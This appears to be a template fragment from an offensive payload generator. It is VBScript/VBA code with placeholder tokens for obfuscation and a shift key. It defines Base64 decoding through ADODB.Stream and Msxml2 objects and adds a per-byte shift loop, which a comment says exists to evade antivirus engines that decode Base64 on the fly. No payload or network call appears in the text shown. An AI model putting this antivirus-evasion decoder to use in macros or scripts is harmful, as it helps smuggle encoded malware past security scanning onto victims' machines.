' Base64 decoder

Function obf_BinaryToString(obf_Binary)
    With CreateObject($"ADODB.Stream"$)
        .Type = 1
        .Open
        .Write obf_Binary
        .Position = 0
        .Type = 2
        .CharSet = $"Windows-1252"$
        obf_BinaryToString = .ReadText
    End With
End Function

Function obf_StringToBinary(obf_Text)
    With CreateObject($"ADODB.Stream"$)
        .Type = 2
        .CharSet = $"x-ansi"$
        .Open
        .WriteText obf_Text
        .Position = 0
        .Type = 1
        .Position = 0
        obf_StringToBinary = .Read
    End With
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData)
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter, obf_Decoded2
    Set obf_XmlDom = CreateObject($"Msxml2.DOMDocument.3.0"$)
    Set obf_XmlNode = obf_XmlDom.createElement($"o"$)
    obf_XmlNode.DataType = $"bin.base64"$
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded2 = obf_BinaryToString(obf_XmlNode.NodeTypedValue)

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    obf_Decoded = ""
    For obf_Counter = 1 To Len(obf_Decoded2)
        obf_Decoded = obf_Decoded & Chr((Asc(Mid(obf_Decoded2, obf_Counter, 1)) + <<<SHIFTKEY>>>) Mod 256)
    Next

    obf_DecodeBaseText64 = obf_Decoded
    Exit Function
End Function

Private Function obf_DecodeBase64(ByVal obf_EncodedData)
    Dim obf_temp
    obf_temp = obf_DecodeBaseText64(obf_EncodedData)
    obf_DecodeBase64 = obf_StringToBinary(obf_temp)
End Function
